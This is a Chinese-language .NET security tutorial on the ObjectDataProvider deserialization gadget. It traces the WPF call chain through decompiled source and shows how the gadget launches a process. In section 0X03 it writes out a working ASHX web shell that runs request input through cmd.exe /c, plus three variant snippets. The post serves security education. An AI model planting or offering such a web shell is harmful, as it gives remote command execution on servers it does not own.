.NET高级代码审计(第13课)反序列化Gadget之详解ObjectDataProvider完结篇
0X01 背景
.NET反序列化漏洞里的核心Gadget：ObjectDataProvider类，封装于WPF核心程序集之一PresentationFramework.dll，处于System.Windows.Data命名空间下，顾名思义就是把一个非静态类实例化后的对象作为数据源提供给WPF控件绑定，常见用法如下
ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectInstance = new System.Diagnostics.Process();ObjectDataProvider对象的ObjectInstance设置为Process对象，MethodName设置为Process类的Start方法，MethodParamers为Start方法传递的参数 calc
如上图进入ObjectDataProvider类的定义发现ObjectType可被设置为任意类型， 由于Type是一个抽象类，不能直接被new 关键词创建对象，但可用以下3种方法得到Type实例的引用
第1种：使用C# typeof操作符 获取 Process 类型信息的引用，如下
ObjectDataProvider objectDataProvider = new ObjectDataProvider()
{
ObjectType = typeof(System.Diagnostics.Process)
};
objectDataProvider.MethodParameters.Add("calc");
objectDataProvider.MethodName = "Start";第2种：可使用 System.Type类的静态成员 GetType(文本，是否抛出异常，区分大小写) , 需在第一个参数指定类型的完全限定名，限定名包含了类所在的命名空间、程序集名、版本、语言、PublicKeyToken，采用这种方法的好处在于可指定文本信息，编译时不需要提供数据类型，如下
ObjectDataProvider objectDataProvider = new ObjectDataProvider()
{
ObjectType = Type.GetType("System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", true,true);
};
objectDataProvider.MethodParameters.Add("calc");
objectDataProvider.MethodName = "Start";第3种：可使用 System.Object.GetType() , 返回表示当前对象的Type实例，其实从.NET 源码可见ObjectInstance底层实现也是通过对象的GetType()得到类型，改写的代码如下
ObjectDataProvider objectDataProvider = new ObjectDataProvider()
{
ObjectType = new System.Diagnostics.Process().GetType()
};
objectDataProvider.MethodParameters.Add("calc");
objectDataProvider.MethodName = "Start";0X02 ObjectDataProvider调用链
下图描绘整个WPF项目窗体创建启动到ObjectDataProvider实例化调用对象过程中所有的调用链，右侧是WPF窗体创建过程调用链，左侧是ObjectDataProvider实例化载入任意对象过程的调用栈信息，整张图从右向左看
笔者在MainWindow窗体类中实例化了对象ObjectDataProvider，并且继承了DataSourceProvider类，DataSourceProvider定义了两个重要方法，Refresh方法调用虚方法BeginQuery，这个BeginQuery将来会在ObjectDataProvider类里实现。
public void Refresh()
{
this._initialLoadCalled = true;
this.BeginQuery();
}
protected virtual void BeginQuery()
{
}然后这个过程干了3件事，第1件事进入ObjectDataProvider类的构造方法实例化集合，该集合ParameterCollection继承于Collection<Object>，并声明一个委托ParameterCollectionChanged，用于OnParametersChanged 时调用定义在Collection类的公开方法，并重写了Collection类里的InsertItem，SetItem，RemoveItem等多个方法，由于InsertItem声明是受保护的方法不可直接被调用，而Addf声明为公共方法可被调用， 所以设置 MethodParameters.Add("calc")
public ObjectDataProvider()
{
this._methodParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged));
this._sourceDataChangedHandler = new EventHandler(this.OnSourceDataChanged);
}public ParameterCollection(ParameterCollectionChanged parametersChanged) => this._parametersChanged = parametersChanged;
protected override void InsertItem(int index, object value)
{
this.CheckReadOnly();
base.InsertItem(index, value);
this.OnCollectionChanged();
}
private void OnCollectionChanged() => this._parametersChanged(this); public void Add(T item)
{
if (this.items.IsReadOnly)
ThrowHelper.ThrowNotSupportedException(ExceptionResource.NotSupported_ReadOnlyCollection);
this.InsertItem(this.items.Count, item);
}第2件事通过set_ObjectInstance设置需要创建实例化对象名，this._mode == ObjectDataProvider.SourceMode.FromType 这行判断如果枚举的值为FromType就抛出异常，等于说ObjectDataProvider.ObjectType和ObjectDataProvider.ObjectInstance 在实例化时只能二选一，另外SetObjectInstance方法中也是通过value?.GetType()的方式获得类型完全限定名，这点和上一小节1.2演示的Demo一样。
public object ObjectInstance
{
set
{
if (this._mode == ObjectDataProvider.SourceMode.FromType)
throw new InvalidOperationException(System.Windows.SR.Get("ObjectDataProviderCanHaveOnlyOneSource"));
this._mode = value == null ? ObjectDataProvider.SourceMode.NoSource : ObjectDataProvider.SourceMode.FromInstance;
if (this.ObjectInstance == value)
return;
if (!this.SetObjectInstance(value) || this.IsRefreshDeferred)
return;
this.Refresh();
}
}
private bool SetObjectInstance(object value)
{
if (this._objectInstance == value)
return false;
this._objectInstance = value;
this.SetObjectType(value?.GetType());
this.OnPropertyChanged("ObjectInstance");
return true;
}ObjectType属性底层实现原理如下，this._objectType = newType; 直接赋值给了传递的Type类型参数，例如上一小节1.1演示的Demo，ObjectType = typeof(System.Diagnostics.Process)
private bool SetObjectType(Type newType)
{
if (!(this._objectType != newType))
return false;
this._objectType = newType;
this.OnPropertyChanged("ObjectType");
return true;
}第3件通过set_MethodName设置对象调用的方法，例如此处的 objectDataProvider.MethodName = "Start";
public string MethodName
{
get => this._methodName;
set
{
this._methodName = value;
this.OnPropertyChanged(nameof (MethodName));
if (this.IsRefreshDeferred)
return;
this.Refresh();
}
}接着依次进入下面3个方法 BeginQuery -> QueryWorker ->InvokeMethodOnInstance，BeginQuery终在ObjectDataProvider类里重写实现调用，InvokeMethodOnInstance方法通过属性this._objectType反射出MethodName里设置的MethodParameters数组，此处是objArray，至此ObjectDataProvider底层运行原理介绍完毕。
0X03 编写Web脚本程序
程序内部采用Base64编码和解码的解析方式运行，这样的好处在于对URL特殊字符串的处置，启动Process类调用cmd.exe/c calc.exe 执行命令，核心代码如下
public static void CodeInject(string input)
{
string ExecCode = EncodeBase64("utf-8", input);
ObjectDataProvider objectDataProvider = new ObjectDataProvider()
{
ObjectInstance = new System.Diagnostics.Process(),
};
objectDataProvider.MethodParameters.Add("cmd.exe");
objectDataProvider.MethodParameters.Add("/c " + DecodeBase64("utf-8",ExecCode));
objectDataProvider.MethodName = "Start";
}
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
if (!string.IsNullOrEmpty(context.Request["input"]))
{
CodeInject(context.Request["input"]);
context.Response.Write("Status: 执行完毕！");
}
else
{
context.Response.Write("1. example: http://www.xxxxxxx.com/ObjectDataProviderSpy.ashx?input=calc.exe\n\n");
context.Response.Write("2. 程序调用cmd.exe/c calc.exe 执行命令，注意：本程序仅供实验学习 ObjectDataProvider类，请勿违法滥用！");
}
}笔者创建的是ashx扩展名的文件，访问 http://localhost:52188/ObjectDataProviderSpy.ashx?input=calc
另外在第二小节ObjectDataProvider类调用链中提到ObjectType属性也可以设定对象的类型，而.NET里获取 Type数据类型常用的有typeof和System.Type类GetType方法，所以将 ObjectInstance 替换成 ObjectType 也可以触发命令执行，如下代码实现两个变种WebShell
// System.Object.GetType()
ObjectDataProvider objectDataProvider = new ObjectDataProvider()
{
ObjectType = new System.Diagnostics.Process().GetType()
};
// System.Type.GetType("string")
ObjectDataProvider objectDataProvider = new ObjectDataProvider()
{
ObjectType = Type.GetType("System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", true,true);
};
//c# typeof
ObjectDataProvider objectDataProvider = new ObjectDataProvider()
{
ObjectType = typeof(System.Diagnostics.Process)
};0X04 结语
ObjectDataProvider的确很神奇，希望未来不会被恶意滥用😄 文章涉及的PDF和另外还有2个变种程序Demo已打包发布在星球，扫码左侧二维码进入星球，扫码右侧二维码关注dotNet安全矩阵公众号，欢迎对.NET安全关注和关心的同学加入我们，在这里能遇到有情有义的小伙伴，大家聚在一起做一件有意义的事。
